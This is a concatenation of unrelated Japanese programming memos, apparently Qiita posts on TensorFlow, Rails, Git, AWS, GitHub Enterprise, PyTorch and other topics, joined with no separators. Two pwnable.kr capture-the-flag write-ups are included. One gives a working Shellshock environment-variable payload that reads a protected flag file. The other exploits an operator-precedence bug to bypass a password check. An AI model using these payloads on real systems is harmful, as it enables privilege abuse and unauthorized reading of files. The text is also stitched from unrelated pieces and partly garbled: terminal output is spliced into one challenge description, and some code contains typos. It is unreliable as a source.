プリインストール版のOffice製品は**そのPCのみでしか利用できない**とのこと
Macだからできない、Windowsだからできないではなく、そのPCではないとライセンスが有効にならないということだった。
Kotlin / JS(React) でfunctionalComponent is not a functionがでたら


```kotlin
val component=functionalComponent<MyProps>{props->
 p{
  +"文字"
 }
}
```

修正後

```kotlin
val component:FunctionalComponent<MyProps> ={props->
        buildElement {//this -> RBuilder
            p {
               +"文字"
            }
        }
}
```
Git コミットがどこのブランチに属しているか調べるコマンド

# 目的

- コミットIDを指定して当該コミットがどこのブランチに属しているかを確認するコマンドを発見したのでメモ的にまとめる

# 方法

1. 下記コマンドを実行して当該コミットがどこのブランチに属しているか確認する。

    ```terminal
    $ git branch --contains コミットID
    ```
TensorFlowメモ: 複数のoptimizerをtf.functionで使うときに出る"ValueError: tf.function-decorated function tried to create variables on non-first call."

```
ValueError: tf.function-decorated function tried to create variables on non-first call.
```

@tf.functionを使ってtrain_stepを高速化しようとしていたところ，
optimizer.apply_gradients() を使うところで上記エラーが出る場合がありました．

https://github.com/tensorflow/tensorflow/issues/27120

をみて理解した解決策のメモです．

###環境
python: 3.8.0
tensorflow: 2.4.0

## コード

2つのモデルとオプティマイザを作ってそれぞれを`@tf.function`でデコレートされた`train_step`関数を使って学習させようとしています．2つめのモデルを学習しようとするところで上記エラーが出ます．

```python
import tensorflow as tf


def compute_loss(y,t):
  return tf.reduce_mean(tf.square(y-t))

@tf.function
def train_step(model, optimizer, x, t):
  with tf.GradientTape() as tape:
    y = model(x)
    l = compute_loss(y,t)
    
  grad =tape.gradient(l, model.trainable_variables)
  optimizer.apply_gradients(zip(grad, model.trainable_variables))


model_1 = tf.keras.Sequential([tf.keras.layers.Dense(1)])
model_1.build(input_shape=[None,2])
optimizer_1 = tf.keras.optimizers.Adam()


model_2 = tf.keras.Sequential([tf.keras.layers.Dense(1)])
model_2.build(input_shape=[None,2])
optimizer_2 = tf.keras.optimizers.Adam()

x = tf.random.uniform(shape=(3,2))
t = tf.random.uniform(shape=(3,2))

train_step(model_1, optimizer_1, x,t )# ここではErrorはでない．

# ここでError
train_step(model_2, optimizer_2, x,t )

```
## 原因
@tf.functionは事前に計算グラフを作っておき，グラフモードで計算するためのデコレータ([公式ガイド](https://www.tensorflow.org/guide/function) )

- @tf.function でデコレートされた関数は１度目の呼び出しの時，グラフを作成する（トレーシング)．入力データのサイズが異なる場合など，必要に応じて再トレーシングが行われる．
- ２回目以降の呼び出しのとき，内部で新たに変数を生成させようとするとエラーになる．
- tf.kerasのoptimizerは初めて呼び出されるときに，内部変数を作る．(Modelのbuildと同じようなことを行う）
- よって新しいoptimizerを既に使ったことがあるデコレートされた関数に入れて使おうとすると，optimizerが内部変数を生成しようとしてエラーとなる．

また，model_2 のbuildをしていない場合もエラーがでます．その場合はmodel2.buildを事前に行うなど，事前にmodelの内部変数を生成しておけばエラーはでません．しかし一方，

- optimizerにはmodel.buildのような仕組みが備わっていないので，あらかじめ内部変数を作っておく簡単なやり方がない．

ので，下記のような回避策をとっておく必要があるようです．

## 回避策
それぞれのモデル，オプティマイザの組ごとに，別の関数を作っておくというのがよいようです．

### １ ラッパーを使う

```python
def wrapper():
  @tf.function
  def train_step(model, optimizer, x, t):
    with tf.GradientTape() as tape:
      y = model(x)
      l = compute_loss(y,t)

    grad =tape.gradient(l, model.trainable_variables)
    optimizer.apply_gradients(zip(grad, model.trainable_variables))
  return train_step


train_step_1 = wrapper()
train_step_2 = wrapper()

train_step_1(model_1, optimizer_1, x,t )
train_step_2(model_2, optimizer_2, x,t )
```

### 2 @デコレータを利用せず，モデルごとにtf.function()でデコレートされた関数を作る．

```python
def train_step(model, optimizer, x, t):
  with tf.GradientTape() as tape:
    y = model(x)
    l = compute_loss(y,t)
    
  grad =tape.gradient(l, model.trainable_variables)
  optimizer.apply_gradients(zip(grad, model.trainable_variables))


train_step_1 = tf.function(train_step)
train_step_2 = tf.function(train_step)

train_step_1(model_1, optimizer_1, x,t )
train_step_2(model_2, optimizer_2, x,t )
```
AWS 画像が表示されない

#はじめに
AWSをなんとかデプロイをできましたが画像が反映されないというエラーが発生しました。ローカル環境では反映されるが本番環境では反映されないというエラーが今後発生する可能性があるので備忘録として投稿致します。

#状況
ローカル環境では画像は反映されるが本番環境では反映されないエラー

#エラー内容
本番環境にて検証ツールを確認したところ下記のエラーが出ていました。

```
Failed to load resource: the server responded with a status of 404 (Not Found)　
```
#画像の拡張子を確認
vscodeにて画像フォルダを確認して拡張子を確認しました。下記の様になっていました。

```image.php
//階層 css /images /写真ファイル
sample.JPG
```

#エラー解消
###画像の拡張子を小文字に変更

```image.php
//階層 css /images /写真ファイル
sample.jpg
```
#Gitでファイル名の大文字・小文字の変更を検知するようにする
ローカル環境では大文字、小文字の判断はできます。しかし、EC2上ではそれらが区別できません。なので大文字・小文字を検知できるようにして下さい。

###ステップ１
```
//EC2にて自分のアプリをディレクトリに変更
cd /var/www/アプリ名
```

###ステップ2

```
 git config core.ignorecase false
```
###ステップ3
最後に確認で実行すると下記の様になると思います。本番環境で確認したら無事に画像が反映されました!

```
$ git config -l --local | grep core.ignorecase
core.ignorecase=false
```
#参考文献
[Gitでファイル名の大文字・小文字の変更を検知するようにする](https://qiita.com/sawadashota/items/aa312a3b7e2403448efe)
template をまとめる


##templateを一つでまとめる

```setting.py
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [
            os.path.jon(BASE_DIR, 'templates')
        ],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
```

template/app1name/index.html /app2name -index.html
         - base.html
【Ruby】stripメソッド、chompメソッド、chopメソッドの使い方を比較する

#プログラミング勉強日記
2021年4月1日

#stripメソッドとは
　文字列の先頭や末尾に含まれる空白文字やタブを削除することができるStringクラスで用意されているメソッド。空白文字とタブだけでなく、改行コードや垂直タブなど(`¥r`, `¥n`, `¥f`, `¥v`)を削除する。ただし、<b>全角スペースは削除しない</b>。
　メソッド名の最後に!(ビックリマーク)を付けて破壊的メソッドを使用することもできる。strip!メソッドを使うと、先頭と末尾の空白文字を取り除いた文字列を元の文字列に書きかえる。

#chompメソッドとは
　文字列の末尾から改行コードを取り除いた文字列を返すStringクラスのメソッド。引数に空文字(`""`)を指定すると、末尾の改行コードをすべて取り除く。
　メソッド名の最後に!(ビックリマーク)を付けて破壊的メソッドを使用することもできる。chomp!メソッドを使うと、末尾の空白文字を取り除いた文字列を元の文字列に書きかえる。
　

#chopメソッドとは
　末尾の改行コードを削除することができるメソッド。(文字列の改行コード以外の文字列の末尾の1文字を削除する。)
　chop!メソッドを使うと、末尾の改行コードを取り除いた文字列を元の文字列に書きかえる。。

#使い方比較
　stripメソッドは前後の改行コード、半角スペース、タブを削除する。(文字列の途中にある半角スペース等は削除しない)
　chompメソッドは、文字列の末尾の改行コードのみ削除する。
　chopメソッドは、文字列の末尾の1文字を削除する。

#参考文献
[【Ruby】stripメソッドを使って空白文字を取り除く方法](https://qiita.com/mzmz__02/items/68640929a8263f17043b)
[【Ruby】chompメソッドを使って末尾の空白文字を取り除く方法](https://qiita.com/mzmz__02/items/ac8838ba851105292b34)
[【Ruby】chopメソッドで末尾の改行コードを取り除く方法](https://qiita.com/mzmz__02/items/1b78b7069a578912dbfc)
テストコード実装準備２（自分用）

% rails g rspec:model user
% rails g rspec:model room
% rails g rspec:model message

などモデルごとに行う


例：spec/models/user_spec.rb

require 'rails_helper'

RSpec.describe User, type: :model do
  describe '#create' do
    before do
      @user = FactoryBot.build(:user)
    end

    it 'nameとemail、passwordとpassword_confirmationが存在すれば登録できること' do

    end

    it 'nameが空では登録できないこと' do

    end

    it 'emailが空では登録できないこと' do

    end

    it 'passwordが空では登録できないこと' do

    end
  end
end

% bundle exec rspec spec/models/user_spec.rb
でテストしていく
GitHub Enterprize Server のアップグレードを行う

# はじめに
GitHub Enterprise Server のアップグレードは定期的に発生します。
作業自体は難しくはありませんが、アップグレードを行うにあたり注意点もあるため、備忘録としてまとめてみました。

# アップグレードの注意点
* GitHub Enterprise Server が一度にアップグレードできるのはバージョンの2桁目（シリーズ）の数字が2つ以内。
* 2.20.7→2.20.24 などバージョンの3桁目が上がるパッチアップグレードの場合はhpkgファイルを使用。
* システム要件はバージョンごとに異なるためシステムリソースのスケールアップ（AWSであればインスタンスタイプの変更）をしてからアップグレードを行う。
* バックアップツール（GitHub Enterprise Backup Utilities）は、アップグレード後のGitHub Enterprise Server のバージョンの1桁目及び2桁目と揃える。

https://docs.github.com/en/enterprise-server@3.0/admin/installation/installing-github-enterprise-server-on-aws

また、今回は 3.0.2 へアップグレードをする方が多いと思います。2.22→3.0へアップグレードを行うにあたり、システム要件に変更があるため作業する前に忘れずにスペック変更を行いましょう。
それ以外の手順はここで記載の方法で問題なく行えます。(実際に行えました。)

# アップグレード手順
**1. バックアップサーバより以下のコマンドを実行しバックアップを取得し、バックアップの取得が正常完了していることを、確認しておきます。**

```bash:バックアップ
$ bin/ghe-backup
```

**2. GitHub Enterprise Server の[リリースページ](https://enterprise.github.com/releases)へ移動し、新しいバージョンの右端のDownloadを押下します。**

**3. Upgradingタブを押下し、使用されているプラットフォームを選択し、pkgファイルのURLをコピーします。**
![2.22 upgrading.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82090/610c3bef-a5ac-6394-805d-26f4a899c9e4.png)

**4. 管理者用SSHでGitHub Enterprise インスタンスへ接続します。**

```bash:ログイン
$ ssh -p 122 admin@[hostname]
```

**5. 以下のコマンドを実行し、pkgファイルをGitHub Enterprise インスタンス上にダウンロードします。**

```bash:pkgダウンロード
$ curl -L -O [pkgファイルのURL]
```
(AWSの場合の実行例：curl -L -O https://github-enterprise.s3.amazonaws.com/ami/updates/github-enterprise-ami-2.22.7.pkg)

**6. メンテナンスモードを有効にします。**
https://[hostname]:8443/setup/maintenance
上記のURLへアクセスし、画面上のチェックを入れ、画面下部の Active processes の値が全て0であることを確認します。
![Maintenance mode.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82090/b8aa27f9-4961-95a5-8159-a3e663bc8087.png)

**7. 管理者用SSHコンソールより以下のコマンドを実行し、アップグレードを行います。**

```bash:アップグレード
$ ghe-upgrade [GITHUB-UPGRADE.pkg]
```
(AWSの場合の実行例： ghe-upgrade github-enterprise-ami-2.22.7.pkg)
SSHコンソール上で画面に従い、OSの再起動要求が表示されたら、y を入力し再起動を行います。

**8. インスタンスの再起動後、Management console(https://[hostname]:8443/setup/settings)へアクセスし、Save settings を押下し、インスタンスの設定を保存します。**

**9. メンテナンスモードを解除します。https://[hostname]:8443/setup/maintenance へアクセスし、画面上のチェックを外します。**


# バックアップツールの更新

```bash:backup-utils
$ curl -LO [github-backup-utils.tar.gz]
```
(AWSの場合の実行例： curl -LO https://github.com/github/backup-utils/releases/download/v2.22.0/github-backup-utils-v2.22.0.tar.gz)

https://github.com/github/backup-utils


# 備考
adminコンソールから以下のように進捗状況が確認できます。
![スクリーンショット 2021-03-24 10.52.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82090/2daa7866-c2d8-07e3-980b-1e2eb381e5aa.png)
アップグレードを実行してから完了するまで時間がかかるので気になる場合はこの画面で確認するようにしましょう。


# おわりに
GitHub Enterprize Server のアップグレードはとても簡単です。ただ、バージョンが上がるごとにシステム要件も上がっていく傾向にあります。
そもそものライセンスも高く、インスタンス費用なども年々上がっているため、必要性がなければ利用を避けるべきかなと正直感じています。
テストコード実装準備１（自分用）

gem 'rspec-rails'
gem 'factory_bot_rails'
gem 'faker'

% bundle install

サーバーを再起動し、
% rails g rspec:install

.rspecに
--format documentation
を足す

spec/rails_helper.rbに

I18n.locale = "en"
を記述し、エラーメッセージを英語化する。

「spec」ディレクトリの中に「factories」ディレクトリを作成し、「モデル.rb」　作成する。
その中にFactoryBotの内容を記述。

例：

FactoryBot.define do
  factory :message do
    content {Faker::Lorem.sentence}
    association :user
    association :room

    after(:build) do |message|
      message.image.attach(io: File.open('public/images/test_image.png'), filename: 'test_image.png')
    end
  end
end
windows10でpipでpyTorchいれてみたよ。

というだけの記事。しかし１か所つまづいたので書く。
2021/04/01現在。月日は百代の過客にして行かふ年も又旅人なので、あくまでこの日付でうまくいったよという話です。

# pipインストール体験記

pyTorchの公式ページのGet Startedを開く。
[https://pytorch.org/get-started/locally/](https://pytorch.org/get-started/locally/)

すると、以下の画像の部分があるので、自分の環境を選ぶ。![pyTorch.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/477031/ec3016bb-978b-fcc8-889a-48f06d317a52.png)

（今回は、Windows+pip+python+cpuを選択）

すると、画像の一番下の"Run this Command"の部分にpip install のコマンドが出てくるので、それをコピペでターミナルから実行。

```
pip install torch==1.8.1+cpu torchvision==0.9.1+cpu torchaudio===0.8.1 -f https://download.pytorch.org/whl/torch_stable.html
```

しかし、これを実行してもインポート時にエラーが発生してしまった。

```
Traceback (most recent call last):
  File "c:\programing\pythonwork\pytorch_training\scratch.py", line 1, in <module>
    import torch
  File "c:\programing\pythonwork\pytorch_training\lib\site-packages\torch\__init__.py", line 117, in <module>
    raise err
OSError: [WinError 127] 指定されたプロシージャが見つかりません。 Error loading "c:\programing\pythonwork\pytorch_training\lib\site-packages\torch\lib\torch_python.dll" or one of its dependencies.
```

あれーと思っていろいろ試していたら、どうもpython のバージョンがダメだったぽい。

| 現在のバージョン |→| 変更後のバージョン |
|:-:|:-:|:-:|
|Python 3.9.0a4||Python 3.8.2|

(python のバージョンはpyenvで切り替えると便利！)

バージョン切り替えたらうまくいきました。
※ちなみに、上記で紹介した公式のページの下のほうにVerificationのコードが載っているので、それを実行してみました。

# あれーと思っていろいろ試したこと

僕の場合、最終的にpythonのバージョンの問題だったが、ネットには以下のような解決策も紹介されていました。

* torchのバージョンを下げる
* Visual Studio 2015、2017、および 2019 用 Microsoft Visual C++ 再頒布可能パッケージをインストール

pythonのバージョンを下げてもうまくいかなかったときは、お試しください。


以上です。
find, find_by, where使い方[Active Record]

#allメソッド
モデルの全件のレコードを返します。

```ruby:
 Post.all

 #SQL
 SELECT  "posts".* FROM "posts"
```



#findメソッド
主キー(id)を指定して、見つかった1レコードを返します。

```ruby
 Post.find(1)
 #id: 1のレコードを返す

# SQL
SELECT  "posts".* FROM "posts" 
WHERE "posts"."id" = ? LIMIT ?  [["id", 1], ["LIMIT", 1]]
```


#find_byメソッド

主キー(id)以外のカラムを指定しても、見つかった1レコードを返します。

```ruby
 Post.find_by(title: "closet")
 #titleが"closet"のレコードを返す


#SQL
SELECT  "posts".* FROM "posts" 
WHERE "posts"."title" = ? LIMIT ?  [["title", "closet"], ["LIMIT", 1]]
```


#whereメソッド

```ruby
 Post.where(title: "closet")
 #titleが"closet"のレコードを全て返す

#SQL
SELECT  "posts".* FROM "posts" 
WHERE "posts"."title" = ? LIMIT ?  [["title", "closet"], ["LIMIT", 11]]
```

#find_or_create_by
```ruby:
User.find_or_create_by(email: 'hoge@example.com')
#'User'の中から'email'が'hoge@example.com'のレコードが無かったら作成してくれます。

#SQL
SELECT * FROM users WHERE (users.email = 'hoge@example.com') LIMIT 1
BEGIN
INSERT INTO users (created_at, email, locked, orders_count, updated_at) 
VALUES ('2021-04-01 05:55:55', 'hoge@example.com', 1, NULL, '2021-04-01 05:55:55')
COMMIT
```





#takeメソッド

```ruby
 Post.take(10)
 #10件データ取って来て返す
 #ただし、レコードの指定ができない

#SQL
SELECT * FROM "posts" LIMIT 10
```

#firstメソッド

```ruby
 Post.first
 #主キー順の最初のレコードを取ってくる

#SQL
ELECT * FROM posts ORDER BY posts.id ASC LIMIT 1
```







#lastメソッド

```ruby
 Post.last
 #主キー順の最後のレコードを取ってくる

#SQL
SELECT * FROM posts ORDER BY posts.id DESC LIMIT 1
```

#参考
[Railsガイド6.1](https://railsguides.jp/active_record_querying.html)
Pwnable.kr-[shellshock] writeup

>Mommy, there was a shocking news about bash.
>I bet you already know, but lets just make it sure :)
>
>ssh shellshock@pwnable.kr -p2222 (pw:guest)

```
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c
shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}
```
CVE-2014-6271というShellshockと呼ばれる脆弱性についての問題です。
ソースコードを見ると、getresuid,getresgidによって実uid,実効uid,保存set_resuid,同gidがgetegid()に設定されます。ここで、shellshockはsgidビットが立っているため、system()はファイルの所有グループであるshellshock_pwnの権限で実行されることになります。
Shellshockはbashが起動されたときに特定の環境変数があると発生します。具体的には
x="() { :;}; /bin/cat flag"
という環境変数があると関数宣言の形の () { :;}; を読み込んだあとに続けて　/bin/cat flag　も実行してしまう、という脆弱性です。これを利用します。

```
shellshock@pwnable:~$ export x="() { :;}; /bin/cat flag"
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
```
[Shopify] カスタマイズしているチェックアウトページをスキップされて涙している人用メモ

Shopifyのチェックアウトをカスタマイズしたけども、その手順を踏んで決済しない人たちがいます。色々な制御をせっかくいれたのに、バイパス・・涙。

そうなんです、Shop Pay, Apple Pay, Google Payを使えるようにしているショップの場合は、通常チェックアウトプロセスをスキップして購入できるケースがあります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/241909/e850bd0c-f914-f0a1-1ca6-c39ef886dd67.png)


これを防ぎたい場合は 設定＞ Shopify ペイメント > 簡単なチェックアウトをはずすと、簡単なチェックアウト（バイパスするやつ）をオフにして問題解決です。
AppleScriptでboundsの各項目の値を取り出す。

AppleScriptで矩形領域を表す`bounds`(rectangle)は、たとえばウィンドウの大きさを設定する時に

```applescript:固定値の例
tell window 1 of current application
    set bounds to {0, 100, 400, 500}
end tell
```
とすれば、先頭のウィンドウを、(x=0,y=100)の点を左上、(x=400,y=500)の点を右下とする長方形にリサイズします。
そこで、たとえば「左上の位置と高さは今のまま、幅だけを変更したい」という場合に、ウィンドウの`bounds`を取得して、その３つ目の値だけを変更すれば良い…ように考えてみるものの、うまくいきません。

```applescript:失敗例
tell window 1 of current application
	set newBounds to bounds
	set item 3 of newBounds to (item 1 of bounds) + 500
	set bounds to newBounds
end tell
#→ 結果:
#error "item 1 of bounds of window 1のタイプをreferenceに変換できません。" number -1700 from item 1 of bounds of window 1 to reference
```
つまるところ、`bounds`からの要素の取り出し（`item 1 of bounds`)がうまく動きません。
ここでつまづく人が多いのか、Web上のAppleScriptのサンプルスクリプト、はウィンドウサイズを固定値にするものが多いようです。
もっとも、`bounds`を`list`型にキャストすれば、個々の要素を取得できます。
あるいは、`bounds`を別の変数に代入すれば、その代入された変数では個々の要素を自由に取得変更できます。

```applescript:成功例1
tell window 1 of current application
	set newBounds to bounds
	set item 3 of newBounds to (item 1 of (bounds as list)) + 500
	set bounds to newBounds
end tell
#→手前のウィンドウの幅が500pxになる。
```

```applescript:成功例2
tell window 1 of current application
	set newBounds to bounds
	set item 3 of newBounds to (item 1 of newBounds) + 500
	set bounds to newBounds
end tell
#→手前のウィンドウの幅が500pxになる。
```
Gatsbyで変更してもブラウザに反映されなくなった。

##はじめに
Gatsbyでreact-anchor-link-smooth-scrollのプラグインをインストールしたら、index.jsやその他jsファイルを更新してもブラウザが変更を読み込まなくなった。



ローカルサーバーを停止して、yarn devをしたら一回だけ変更が反映されたが、また変更が反映されなくなった。

yarn clean、yarn build、vscode再起動してもダメ。localhost:1729が読み込まれないし、無限にループし始めた。。

https://qiita.com/kskumgk63/items/949a2a95c08c6c12aa47

```
lsof -i :1729
kill -QUIT 7620
```


##解決方法
1. ローカルサーバー停止（kill）
2. chromeのキャッシュクリア（cookieと他のサイトデータ）
3. yarn (gatsby clean)
4. yarn build(gatsby build && yarn build:post)
5. yarn dev( gatsby develop)

chromeのキャッシュクリアだけでも良かったかもしれない。
[解決]wxPythonとthreadingを同時に使ったら失敗した

#wxPythonとthreadingを使ったら...
これはWindowsに限った話です。
Python無知がwxPythonとthreadingを使ったらおかしなことになりました。
このコードをご覧ください。↓

```python
import wx
import time
import threading
class MyFrame(wx.Frame):
    def TimeSleep(self,value=0):
        time.sleep(value)
        self.OnStart()
    def __init__(self):
        wx.Frame.__init__(self,None,-1,"title")
        self.panel = wx.Panel(self,-1)
        self.panel.SetBackgroundColour("black")
        self.Refresh()
        t1=threading.Thread(target=self.TimeSleep,args=(2,))
        t1.start()
    def OnStart(self):
        self.panel.SetBackgroundColour("white")
        lbl = wx.StaticText(self.panel,-1,"Finish")
        self.Refresh()
app = wx.App(False)
f = MyFrame()
f.Show(True)
app.MainLoop()
```
これで実行した結果、なんと[Finish]が表示されないというバグに至ってしまいました...
どいうことかというと、threadingを使った後、新しいウィジェットが表示されなくなったということです。
また、threadingと同時にwx.Timerも使えないということです。
色々と試した結果原因と解決方法が見つかったので説明したいと思います。

#原因
![キャプチャa.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1061021/dfbe6886-0abb-4d34-b4ab-34d40439c5b6.png)
無知なのでこういう図もどう作ればいいかわからなくて...

っでまあこのように外にいってその外からメインのGUIを操作できないということでした。
それで新しいウィジェットをつくれない！ということでした。プログラミングって難しい...
それで直接wxPython, threadingで調べてみてもこのことがかかれていなかったのでめちゃめちゃ苦労しました。それでたまたま見つかった関数があってそれが「wx.CallAfter」です。

#解決方法
さきほどいった通り、wx.CallAfterを使用して、外からメインのGUIに戻るということです。
それで以下のようなコードになりました。

```python
import wx
import time
import threading
class MyFrame(wx.Frame):
    def TimeSleep(self,value=0):
        time.sleep(value)
        wx.CallAfter(self.OnStart) ##ここ！
    def __init__(self):
        wx.Frame.__init__(self,None,-1,"title")
        self.panel = wx.Panel(self,-1)
        self.panel.SetBackgroundColour("black")
        self.Refresh()
        t1=threading.Thread(target=self.TimeSleep,args=(2,))
        t1.start()
    def OnStart(self):
        self.panel.SetBackgroundColour("white")
        lbl = wx.StaticText(self.panel,-1,"Finish")
        self.Refresh()
app = wx.App(False)
f = MyFrame()
f.Show(True)
app.MainLoop()
```

#おわりに
これ解決するのに何カ月もかかりました 笑
これ環境によってはこの方法をつかわなくてもできたということもありますし、もしくはバージョンによっても変わるということがあるのでその場合は使わなくてもいいです(でも外からGUIをいじるのは安全ではないので使うことを推奨します。)

---
ブログ開設しときました。まだ全然記事あげてませんが、これから色々とあげる予定です。是非見に来てください。→　programming-self-study.blogspot.com/

###環境
Python 3.9.1
Windows10
64bit

誤字あったら教えてね！
herokuでpostgresqlの本番と開発サーバーを分ける

# はじめに
herokuでpostgresqlを使用したアプリを開発する際に、開発する際はlocalhostのDBを使いたい場合があります。環境変数により本番と開発で環境を分ける方法をまとめます。
言語はnodejsです。

# herokuの環境変数
herokuでは以下の２つの設定方法により本番と開発の環境を分けることができます。
#### 開発の環境変数を定義する
.envファイルにより定義
ユーザーやパスワードなどは自分でローカルに立てたDBを指定します

```:.env
DATABASE_URL=postgresql://user:password@localhost:5432/dbname
```

#### 本番の環境変数を定義する
postgresqlのアドオンを作った時に自動的作られたDBが指定されています。
コマンドにより確認する
``heroku config``

#### ssl設定
localでsslを設定しているとエラーが出たため開発環境では設定しないようにします。
herokuによりデフォルトで本番環境にはNODE_ENVにproductionが設定されています。

```js
const pool = new Pool({
  connectionString: process.env.DATABASE_URL,
  ssl: process.env.NODE_ENV === 'production' ? { rejectUnauthorized: false } : null
})
```

これにより環境を分けることができました！！
CSS~擬似要素と擬似クラス~

今回はCSSで使用する、疑似要素について学習していきます。

#疑似要素とは
指定している要素の特定の部分にスタイル付けすることができます。

```index.html
<h1><span>あ</span>いうえお</h1>
```
```style.css
h1 {
 color: red;
}

span {
 color: blue;
}
```

#疑似クラス
HTMLをいじることなく要素を作ることができます！

```index.html
<h1>あいうえお</h1>
```
```style.css
h1::before {
 content: 'いぇあ！いぇあ！';
}
```
あいうえおの直前にいぇあ！が出ます。
疑似クラスには他にも、active,hover,checkedなどがあります。

#疑似クラスを使うメリット
①HTMLの文章構造を変えることなく見かけ上の要素を追加することができる
②あとから追加することができる。
③コピペされたくないとき（？）
となります。

具体的な使い方は次の記事で触れていきたいと思います！！
anaconda　インストールメモ（Mac）

スタート時、python 3.8をインストール済み

下記を参考にanacondaをインストールする.
https://sukkiri.jp/technologies/ides/anaconda-mac_install.html


Anaconda-Navigatorを起動できるも、Spyderを起動できない。

ターミナルで 
```$spyder```
と入力。　No such file or directory　・・・ないと言われる。

次に
```$conda install spyder==4.0```

でインストールしようとすると
```spyder==4.0 -> python[version='>=2.7,<2.8.0a0|>=3.7,<3.8.0a0|>=3.6,<3.7.0a0']
```

と、バージョンが違うと怒られる。

以下のページを参考に
https://teratail.com/questions/285725
```$conda install python=3.7
```
で、３.７を入れ直す
```$spyder
```
と入力。無事起動。

anaconda Navigator を再起動し、SpyderアイコンのLaunchからも起動できるようになった。



---
まとめ。
Pythonのバージョンが高すぎたため起動しなかったと思われる。
pythonは３.８をアンインストールしなくても、３.７をインストールできた。
Google Cloud functionsでNatural Language APIを使おうとして躓いた話

# １．はじめに
最近Cloud Functionsとfirebaseの組み合わせでアプリを作っている。
すごく便利なので色々処理を後ろに投げている（主にpythonでの処理）。

その中で、ニュース記事からentitiyを抽出しよう、ということに↓
フロント側でワードを指定すると、後ろのCloud Function側にリクエストを送り、
・ニュース記事検索(GoogleNews)
・Cloud Function側でNatural Language APIでentity抽出
結果をエクセルとかで返す。

早速、一個Cloud Functionsを作って
requirements.txtに

    # Function dependencies, for example:
    # package>=version
    pandas==1.2.3
    ~なんやかんや
    google-cloud==0.34.0
    google-cloud-language==2.0.0

などと指定してdeploy。



#２．問題発生
すると失敗してしまう。
エラー：

    Traceback (most recent call last):
    File "***.py", line *, in <module>
    from google.cloud.language import enums
    ImportError: cannot import name enums

main.py側では

    import google.cloud
    from google.cloud import language
    from google.cloud.language import enums
    from google.cloud.language import types

で使っていた。enumsがないとのこと。




#３．解決
色々情報を探って紆余曲折の結果、
同じコードできちんと動いてたgoogle colabで!pip freezeで
情報を見ると、google-cloud-language==1.2.0が入っていたので、
requirements.txtに

    google-cloud-language==1.2.0

と2.0.0じゃなくて1.2.0を指定すれば入れば動いた（deployに成功）。



pypiから
google-cloud-language==1.2.0
は発見できなかったので
google-cloud-language==2.0.0
とか
gapic-google-cloud-language-v1beta2 0.15.3
とか関連ありそうなのを試したがうまくいかなかった。
pypiを見てもそのバージョンが見当たらないので非推奨かもしれない。
根本原因はNatural Language APIの変更履歴などを追わないといけないけれど、
ほぼ英語情報しかなくて苦労している最中。
Pwnable.kr-[mistake] writeup

>We all make mistakes, let's move on.
>(don't take this too seriously, no fancy hacking skill is required at all)
>
>This task is based on real event
>Thanks to dhmonkeymistake@pwnable:~$ ./mistake
do not bruteforce...
1111111111
input password : 0000000000
Password OK
Mommy, the operator priority always confuses me :(

>
>hint : operator priority
>
>ssh mistake@pwnable.kr -p2222 (pw:guest)

```
mistake@pwnable:~$ ls -l
total 24
-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag
-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake
-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c
-r-------- 1 mistake_pwn root      10 Jul 29  2014 password
mistake@pwnable:~$ ls
flag  mistake  mistake.c  password
mistake@pwnable:~$ cat mistake.c
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i<len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
		printf("can't open password %d\n", fd);
		return 0;
	}

	printf("do not bruteforce...\n");
	sleep(time(0)%20);

	char pw_buf[PW_LEN+1];
	int len;
	if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}
```
main関数の最初に　
fd = open(~) < 0　
という記述がありますね。これはおそらくopenが機能しているかを確認するコードにしたつもりだと思いますが、実際は fd = (open(~) < 0) となりfdに0が格納されます。
ファイルディスクリプタの0はstdinを示しているので、その後適当な入力とそれをxorした入力を渡します。

```
mistake@pwnable:~$ ./mistake
do not bruteforce...
1111111111
input password : 0000000000
Password OK
Mommy, the operator priority always confuses me :(
```